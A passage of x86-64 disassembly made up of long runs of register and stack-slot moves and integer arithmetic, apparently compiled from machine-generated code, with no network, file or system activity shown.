movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x95d8]
mov byte [rcx], al
lea rax, [rsp + 0x1810]
mov qword [0x1401cdc78], rax
movzx eax, byte [rsp + 0x254]
mov byte [rsp + 0x2fa], al
mov rax, qword [rsp + 0xa468]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb248]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x15d0], ax
movsx eax, word [rsp + 0x1628]
movsx ecx, word [rsp + 0x1608]
sar eax, cl
mov word [rsp + 0x181c], ax
lea rax, [rsp + 0x514c]
mov qword [rsp + 0xb798], rax
mov rax, qword [rsp + 0x9be0]
mov rcx, qword [rsp + 0x9500]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0xad78]
mov qword [rcx], rax
lea rax, [rsp + 0x8520]
mov qword [rsp + 0xb7a0], rax
mov rax, qword [rsp + 0xa8a8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4ebc]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb678]
mov dword [rcx], eax
mov rax, qword [0x1401cd7d0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1884]
sub eax, ecx
mov rcx, qword [rsp + 0x9a90]
mov word [rcx], ax
mov rax, qword [rsp + 0xb5d8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9a68]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x1401cdaf0]
mov word [rcx], ax
mov rax, qword [0x1401cd978]
movzx eax, byte [rax]
mov byte [rsp + 0x2fb], al
mov rax, qword [rsp + 0x99d8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9e70]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa980]
mov word [rcx], ax
mov rax, qword [rsp + 0x9aa8]
movzx eax, byte [rax]
mov byte [rsp + 0x2fc], al
movzx eax, byte [rsp + 0x1b7]
movzx ecx, byte [rsp + 0x25c]
add eax, ecx
mov rcx, qword [rsp + 0xa730]
mov byte [rcx], al
mov rax, qword [rsp + 0xa9f0]
mov rax, qword [rax]
mov qword [rsp + 0xb7a8], rax
mov rax, qword [rsp + 0xab38]
mov ecx, dword [rsp + 0x4f24]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4e5c], eax
mov rax, qword [rsp + 0xa950]
mov rcx, qword [rsp + 0xb1a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xa320]
mov dword [rcx], eax
lea rax, [rsp + 0x7f30]
mov qword [rsp + 0xb7b0], rax
mov rax, qword [rsp + 0x99a8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb2a0]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x1401cc154], ax
movsx eax, byte [rsp + 0x28c]
mov rcx, qword [0x1401cd968]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x2c9], al
lea rax, [rsp + 0x186c]
mov qword [rsp + 0xb7b8], rax
movsx eax, byte [rsp + 0x2cd]
mov rcx, qword [rsp + 0xa9a0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x120], al
mov rax, qword [rsp + 0xaa00]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9690]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x17e4], ax
lea rax, [rsp + 0x4e7c]
mov qword [rsp + 0xb7c0], rax
mov rax, qword [rsp + 0x92b0]
mov rcx, qword [rsp + 0xaa90]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x9dc0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xaf40]
mov rcx, qword [rsp + 0x95b8]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x82a0], rax
mov rax, qword [rsp + 0x9f00]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xb678]
mov qword [rsp + 0xb7c8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb7c8]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0xa128]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9028]
movsx eax, word [rax]
mov rcx, qword [0x1401cd768]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [0x1401cd810]
mov word [rcx], ax
mov rax, qword [rsp + 0xb5d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1710]
sub eax, ecx
mov word [rsp + 0x1730], ax
lea rax, [rsp + 0x2ec]
mov qword [rsp + 0xb7d0], rax
mov rax, qword [rsp + 0xb4c0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9cd8]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa0b0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x270]
mov byte [rsp + 0x2fd], al
mov rax, qword [rsp + 0x9f08]
mov rcx, qword [rsp + 0xa040]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x96c8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9048]
mov rcx, qword [rsp + 0x9108]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xa180]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4a7c]
mov dword [rsp + 0x52cc], eax
mov rax, qword [rsp + 0xb038]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb3a8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xa030], rax
movzx eax, word [0x1401cd7e8]
mov word [0x1401cdc80], ax
mov rax, qword [rsp + 0xb3b0]
movzx eax, byte [rax]
mov byte [rsp + 0x2fe], al
mov rax, qword [rsp + 0xb700]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xd6]
and eax, ecx
mov rcx, qword [rsp + 0xa290]
mov byte [rcx], al
movzx eax, word [rsp + 0x16b8]
mov word [rsp + 0x1950], ax
mov rax, qword [rsp + 0x9670]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1e0]
sub eax, ecx
mov byte [rsp + 0x27a], al
mov rax, qword [rsp + 0x94b8]
mov rcx, qword [rsp + 0xa0f0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x511c], eax
mov rax, qword [rsp + 0x9898]
mov rax, qword [rax]
mov qword [rsp + 0xb7d8], rax
mov rax, qword [rsp + 0xb198]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x92d0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x95b8], rax
lea rax, [rsp + 0x5288]
mov qword [rsp + 0xb7e0], rax
movsx eax, word [rsp + 0x17f4]
mov rcx, qword [rsp + 0xb600]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [0x1401cdbb8]
mov word [rcx], ax
mov rax, qword [0x1401cd7e0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xaf10]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x2e0], al
mov rax, qword [rsp + 0xb2f8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa980]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1624], ax
lea rax, [rsp + 0x29a]
mov qword [rsp + 0xb7e8], rax
movsx eax, byte [rsp + 0x2dc]
mov rcx, qword [rsp + 0x9858]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x9ba8]
mov byte [rcx], al
mov eax, dword [rsp + 0x5250]
mov dword [rsp + 0x52d0], eax
mov rax, qword [rsp + 0xabe0]
mov rcx, qword [rsp + 0x8448]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x8100], rax
mov rax, qword [rsp + 0x99e8]
mov rcx, qword [rsp + 0xa760]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x5200], eax
mov rax, qword [rsp + 0x9560]
mov qword [rsp + 0xb7f0], rax
lea rax, [rsp + 0x153c]
mov qword [0x1401cdc88], rax
movzx eax, byte [rsp + 0x21d]
mov rcx, qword [rsp + 0x9050]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x211], al
movzx eax, byte [rsp + 0x2d3]
mov byte [rsp + 0x2ff], al
mov rax, qword [rsp + 0x9620]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x2dc]
sub eax, ecx
mov byte [rsp + 0xca], al
movsx eax, word [rsp + 0x1944]
movsx ecx, word [rsp + 0x17d8]
add eax, ecx
mov word [rsp + 0xeb8], ax
mov eax, dword [rsp + 0x525c]
mov ecx, dword [rsp + 0x5038]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x49ec], eax
mov rax, qword [rsp + 0xb230]
mov ecx, dword [rsp + 0x5040]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xb138]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb170]
mov qword [rsp + 0xb7f8], rax
mov rax, qword [rsp + 0xb750]
mov rcx, qword [rsp + 0x9198]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xa6f0], rax
lea rax, [rsp + 0x1860]
mov qword [0x1401cdc90], rax
lea rax, [rsp + 0x1ee]
mov qword [rsp + 0xb800], rax
mov rax, qword [rsp + 0x9e70]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1670]
add eax, ecx
mov rcx, qword [rsp + 0x9d80]
mov word [rcx], ax
mov rax, qword [rsp + 0xb1d0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x250]
or eax, ecx
mov rcx, qword [rsp + 0xb370]
mov byte [rcx], al
lea rax, [rsp + 0x14c8]
mov qword [rsp + 0xb808], rax
mov rax, qword [rsp + 0xad60]
mov rcx, qword [rsp + 0x81f0]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0xa598]
mov qword [rcx], rax
mov rax, qword [rsp + 0xaab0]
mov qword [rsp + 0xb810], rax
mov rax, qword [rsp + 0xac00]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4fe0]
shl eax, cl
mov rcx, qword [rsp + 0x9e20]
mov dword [rcx], eax
mov eax, dword [rsp + 0x482c]
movzx ecx, al
mov eax, dword [rsp + 0x526c]
sar eax, cl
mov rcx, qword [rsp + 0x9f00]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa718]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x28e]
sub eax, ecx
mov rcx, qword [0x1401cda40]
mov byte [rcx], al
mov rax, qword [rsp + 0xb2a0]
movzx eax, word [rax]
mov word [rsp + 0x1954], ax
movsx eax, byte [rsp + 0x240]
movsx ecx, byte [rsp + 0x1e7]
and eax, ecx
mov byte [rsp + 0x1e3], al
movzx eax, word [rsp + 0x1728]
mov word [rsp + 0x1958], ax
movzx eax, word [rsp + 0x18a4]
movzx ecx, word [rsp + 0x1808]
add eax, ecx
mov word [rsp + 0x1934], ax
mov rax, qword [rsp + 0x9d08]
mov rcx, qword [rsp + 0x99a0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x9ac0]
mov qword [rcx], rax
mov eax, dword [0x1401cd720]
mov dword [rsp + 0x52d4], eax
mov rax, qword [rsp + 0xa5f8]
mov rcx, qword [rsp + 0x82a0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xa928], rax
mov rax, qword [rsp + 0x9158]
mov eax, dword [rax]
mov dword [rsp + 0x52d8], eax
movzx eax, byte [rsp + 0x26f]
mov rcx, qword [0x1401cdc28]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x99f0]
mov byte [rcx], al
lea rax, [rsp + 0x23c]
mov qword [0x1401cdc98], rax
lea rax, [rsp + 0x15a8]
mov qword [rsp + 0xb818], rax
movsx eax, word [rsp + 0x1660]
movsx ecx, word [rsp + 0x16d8]
sub eax, ecx
mov word [rsp + 0xeb8], ax
mov rax, qword [rsp + 0xa4a0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x262]
add eax, ecx
mov rcx, qword [rsp + 0xadd0]
mov byte [rcx], al
lea rax, [rsp + 0x9660]
mov qword [rsp + 0xb820], rax
mov rax, qword [rsp + 0x9b40]
mov rcx, qword [0x1401cc028]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x84e0], rax
mov rax, qword [rsp + 0xac90]
mov eax, dword [rax]
mov dword [rsp + 0x52dc], eax
mov eax, dword [rsp + 0x51e8]
mov ecx, dword [rsp + 0x4f2c]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9468]
mov dword [rcx], eax
movsx eax, word [rsp + 0x1884]
movsx ecx, word [0x1401cc0e0]
or eax, ecx
mov word [rsp + 0x14f4], ax
movzx eax, word [rsp + 0x1888]
movzx ecx, word [rsp + 0x1760]
sar eax, cl
mov word [0x1401cc13c], ax
movzx eax, byte [rsp + 0x2e2]
mov byte [rsp + 0x300], al
movzx eax, word [rsp + 0x1838]
mov rcx, qword [0x1401cd9b0]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xa268]
mov word [rcx], ax
lea rax, [rsp + 0x1544]
mov qword [rsp + 0xb828], rax
mov rax, qword [rsp + 0x8ef0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xaa90]
mov qword [rsp + 0xb830], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb830]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xaba8], rax
mov rax, qword [rsp + 0xae20]
mov ecx, dword [rsp + 0x4fe4]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4ecc], eax
mov rax, qword [rsp + 0xb230]
mov rcx, qword [rsp + 0xa5e8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4ba8], eax
mov rax, qword [rsp + 0xb538]
mov rcx, qword [rsp + 0xae98]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x9090], rax
lea rax, [rsp + 0x2e4]
mov qword [rsp + 0xb838], rax
mov rax, qword [rsp + 0xb718]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1800]
sub eax, ecx
mov word [0x1401cc158], ax
mov rax, qword [rsp + 0xb2e0]
movsx eax, word [rax]
mov rcx, qword [0x1401cd998]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1824], ax
movzx eax, byte [rsp + 0x112]
mov byte [rsp + 0x301], al
mov rax, qword [rsp + 0xb408]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa8f0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x2a2], al
mov rax, qword [0x1401cd728]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9700]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8458], rax
mov rax, qword [rsp + 0x9fb8]
mov qword [rsp + 0xb840], rax
mov eax, dword [rsp + 0x50ac]
mov ecx, dword [rsp + 0x52b8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa5e8]
mov dword [rcx], eax
lea rax, [rsp + 0x5100]
mov qword [rsp + 0xb848], rax
movsx eax, word [0x1401cc114]
movsx ecx, word [rsp + 0x1698]
sub eax, ecx
mov word [rsp + 0x17a4], ax
movzx eax, word [rsp + 0x18e4]
mov rcx, qword [rsp + 0xb558]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x1401cd780]
mov word [rcx], ax
mov rax, qword [0x1401cd758]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x2f4]
add eax, ecx
mov rcx, qword [rsp + 0x94e0]
mov byte [rcx], al
lea rax, [rsp + 0x20e]
mov qword [rsp + 0xb850], rax
movsx eax, byte [rsp + 0x1fc]
movsx ecx, byte [rsp + 0x1e8]
sar eax, cl
mov rcx, qword [rsp + 0xb408]
mov byte [rcx], al
lea rax, [0x1401cdaf8]
mov qword [rsp + 0xb858], rax
mov rax, qword [rsp + 0x9698]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5270]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb230]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9e08]
mov rcx, qword [rsp + 0x9a88]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x9f00]
mov dword [rcx], eax
mov rax, qword [0x1401cc028]
mov qword [rsp + 0xb860], rax
mov rax, qword [rsp + 0x9e58]
movzx ecx, al
mov rax, qword [rsp + 0xaaf0]
shl rax, cl
mov rcx, qword [rsp + 0xaa30]
mov qword [rcx], rax
mov rax, qword [rsp + 0xb080]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8f30]
movsx ecx, word [rcx]
and eax, ecx
mov word [0x1401cc15c], ax
movzx eax, byte [0x1401cc05e]
mov byte [rsp + 0x302], al
mov rax, qword [rsp + 0xac08]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1f9]
add eax, ecx
mov rcx, qword [rsp + 0xb688]
mov byte [rcx], al
movzx eax, word [rsp + 0x1898]
mov rcx, qword [rsp + 0x9938]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xb528]
mov word [rcx], ax
movzx eax, byte [rsp + 0x2e2]
mov byte [rsp + 0x303], al
mov rax, qword [rsp + 0xaee0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4e38]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xae20]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa830]
mov qword [rsp + 0xb868], rax
mov rax, qword [rsp + 0xb078]
mov rcx, qword [rsp + 0xa580]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4e84], eax
mov rax, qword [rsp + 0xa898]
mov rax, qword [rax]
mov qword [rsp + 0xb870], rax
mov rax, qword [rsp + 0xae30]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb780]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401cd7dd], al
mov rax, qword [0x1401cdab0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x18c8]
sub eax, ecx
mov rcx, qword [rsp + 0xaf28]
mov word [rcx], ax
mov rax, qword [rsp + 0xadd0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa828]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1c8], al
lea rax, [rsp + 0x240]
mov qword [rsp + 0xb878], rax
mov rax, qword [0x1401cda30]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9028]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xefc], ax
lea rax, [rsp + 0xa558]
mov qword [rsp + 0xb880], rax
mov rax, qword [rsp + 0xb798]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xa1e0]
mov qword [rsp + 0xb888], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb888]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x5044], eax
mov rax, qword [rsp + 0x8438]
mov rcx, qword [rsp + 0xb110]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x9438], rax
mov eax, dword [rsp + 0x50b0]
mov dword [rsp + 0x52e0], eax
movsx eax, byte [rsp + 0x204]
mov rcx, qword [rsp + 0x9318]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [0x1401cc072], al
mov rax, qword [rsp + 0x9088]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9578]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x2e6], al
mov rax, qword [rsp + 0x90c8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb218]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xf44], ax
movsx eax, word [0x1401cd788]
mov rcx, qword [rsp + 0xb390]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x14ec], ax
mov rax, qword [rsp + 0x91c0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9028]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1578], ax
mov rax, qword [rsp + 0x91a0]
mov qword [rsp + 0xb890], rax
mov rax, qword [rsp + 0x8f58]
mov rcx, qword [0x1401cc010]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9b88], rax
mov rax, qword [rsp + 0xb798]
mov eax, dword [rax]
mov dword [rsp + 0x52e4], eax
mov rax, qword [rsp + 0x9c70]
mov rcx, qword [rsp + 0xa0f0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4e70], eax
movzx eax, word [0x1401cc078]
mov word [0x1401cdca0], ax
movsx eax, byte [rsp + 0x29a]
movsx ecx, byte [rsp + 0x218]
and eax, ecx
mov rcx, qword [rsp + 0x8db0]
mov byte [rcx], al
mov rax, qword [rsp + 0x9850]
movzx eax, word [rax]
mov word [rsp + 0x195c], ax
mov rax, qword [rsp + 0xb800]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa408]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xb0f8]
mov byte [rcx], al
movzx eax, byte [rsp + 0xb2]
mov byte [rsp + 0x304], al
mov rax, qword [rsp + 0x90b0]
mov ecx, dword [rsp + 0x5270]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x5200], eax
lea rax, [0x1401cc01c]
mov qword [rsp + 0xb898], rax
mov rax, qword [rsp + 0xb618]
mov rcx, qword [rsp + 0x97b0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xb030], rax
mov rax, qword [rsp + 0xa130]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8c98]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xa968], rax
mov rax, qword [rsp + 0xade8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8f68]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [0x1401cd7ef], al
lea rax, [rsp + 0x1720]
mov qword [rsp + 0xb8a0], rax
mov rax, qword [rsp + 0x9160]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa730]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x9eb0]
mov byte [rcx], al
lea rax, [rsp + 0x18a0]
mov qword [rsp + 0xb8a8], rax
mov rax, qword [rsp + 0x9328]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1768]
sar eax, cl
mov rcx, qword [rsp + 0x8d30]
mov word [rcx], ax
mov rax, qword [rsp + 0xb620]
mov ecx, dword [rsp + 0x526c]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0xaee0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9eb8]
mov eax, dword [rax]
mov dword [rsp + 0x52e8], eax
mov rax, qword [rsp + 0xad18]
mov rcx, qword [rsp + 0x8ae8]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x9350]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8d70]
mov rax, qword [rax]
mov qword [rsp + 0xb8b0], rax
lea rax, [rsp + 0x2f4]
mov qword [0x1401cdca8], rax
movsx eax, byte [rsp + 0x2ab]
mov rcx, qword [rsp + 0x9300]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9a48]
mov byte [rcx], al
mov rax, qword [rsp + 0xb6c0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1464]
add eax, ecx
mov word [rsp + 0x1630], ax
movzx eax, word [rsp + 0x1358]
mov word [rsp + 0x1960], ax
movzx eax, byte [rsp + 0x265]
movzx ecx, byte [rsp + 0x27b]
add eax, ecx
mov byte [rsp + 0x2df], al
mov rax, qword [rsp + 0xa958]
mov eax, dword [rax]
mov dword [rsp + 0x52ec], eax
mov rax, qword [rsp + 0x8de0]
mov rcx, qword [rsp + 0xa4a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4ee8], eax
mov rax, qword [rsp + 0xa540]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x98c8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8320], rax
mov rax, qword [0x1401cd728]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xaa70]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x9700], rax
mov rax, qword [rsp + 0xb0e0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x300]
sub eax, ecx
mov rcx, qword [0x1401cd7a8]
mov byte [rcx], al
mov rax, qword [rsp + 0xa5e0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa8b8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x18c8], ax
lea rax, [rsp + 0x232]
mov qword [rsp + 0xb8b8], rax
mov rax, qword [rsp + 0x9c48]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1634]
add eax, ecx
mov word [rsp + 0x16bc], ax
mov rax, qword [rsp + 0x91c8]
movzx eax, word [rax]
mov word [rsp + 0x1964], ax
mov rax, qword [rsp + 0xa540]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x8600]
shr rax, cl
mov qword [rsp + 0x86e8], rax
mov eax, dword [rsp + 0x5140]
movzx ecx, al
mov eax, dword [rsp + 0x52c8]
shl eax, cl
mov rcx, qword [rsp + 0xb848]
mov dword [rcx], eax
lea rax, [rsp + 0xb320]
mov qword [rsp + 0xb8c0], rax
mov rax, qword [rsp + 0x99e8]
mov rcx, qword [rsp + 0x93a0]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x93b8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9028]
movzx eax, word [rax]
mov word [rsp + 0x1968], ax
lea rax, [rsp + 0x1580]
mov qword [0x1401cdcb0], rax
movzx eax, byte [rsp + 0x1e9]
movzx ecx, byte [0x1401cd78e]
or eax, ecx
mov rcx, qword [rsp + 0xb700]
mov byte [rcx], al
mov rax, qword [rsp + 0xb730]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1f9]
and eax, ecx
mov byte [rsp + 0x1df], al
lea rax, [rsp + 0x18c4]
mov qword [rsp + 0xb8c8], rax
mov eax, dword [rsp + 0x5284]
mov ecx, dword [rsp + 0x51ac]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4f94], eax
lea rax, [rsp + 0xa070]
mov qword [rsp + 0xb8d0], rax
mov rax, qword [rsp + 0xafe0]
mov rcx, qword [rsp + 0x9e80]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x51f4], eax
mov rax, qword [rsp + 0x8d40]
mov rcx, qword [0x1401cd728]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8848], rax
mov rax, qword [rsp + 0xb558]
movzx eax, word [rax]
mov word [rsp + 0x196c], ax
movsx eax, byte [rsp + 0x222]
movsx ecx, byte [rsp + 0x1a3]
add eax, ecx
mov byte [0x1401cc096], al
movsx eax, word [rsp + 0x16cc]
movsx ecx, word [0x1401cc154]
add eax, ecx
mov word [rsp + 0x1858], ax
lea rax, [rsp + 0x1e7]
mov qword [rsp + 0xb8d8], rax
movzx eax, word [rsp + 0x1448]
mov rcx, qword [rsp + 0xb5d8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1948], ax
lea rax, [rsp + 0xb628]
mov qword [rsp + 0xb8e0], rax
mov rax, qword [rsp + 0xa270]
mov rcx, qword [rsp + 0x96c0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x8078], rax
mov rax, qword [rsp + 0xb568]
mov ecx, dword [rsp + 0x5138]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xb648]
mov dword [rcx], eax
lea rax, [0x1401cc01c]
mov qword [rsp + 0xb8e8], rax
movsx eax, byte [rsp + 0x2bd]
mov rcx, qword [rsp + 0x9100]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x9ee8]
mov byte [rcx], al
mov rax, qword [rsp + 0xb5a8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x17f4]
shl eax, cl
mov rcx, qword [0x1401cd940]
mov word [rcx], ax
mov rax, qword [0x1401cdc00]
movzx eax, byte [rax]
mov byte [rsp + 0x305], al
movzx eax, byte [rsp + 0x1e9]
mov rcx, qword [rsp + 0xadd0]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x9ca0]
mov byte [rcx], al
movzx eax, word [rsp + 0x17e4]
mov rcx, qword [rsp + 0xa8b0]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1860], ax
mov rax, qword [0x1401cc010]
mov qword [rsp + 0xb8f0], rax
mov rax, qword [rsp + 0xac20]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x47c4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5188], eax
lea rax, [rsp + 0x7fb8]
mov qword [rsp + 0xb8f8], rax
mov rax, qword [rsp + 0xa500]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4eec]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4f2c], eax
mov rax, qword [rsp + 0x8c00]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x96e0]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9d60]
mov byte [rcx], al
movzx eax, word [rsp + 0x155c]
movzx ecx, word [rsp + 0x15a0]
sub eax, ecx
mov word [0x1401cc160], ax
movzx eax, word [rsp + 0x165c]
mov word [rsp + 0x1970], ax
mov rax, qword [rsp + 0xb6c8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9d60]
movzx ecx, byte [rcx]
sub eax, ecx
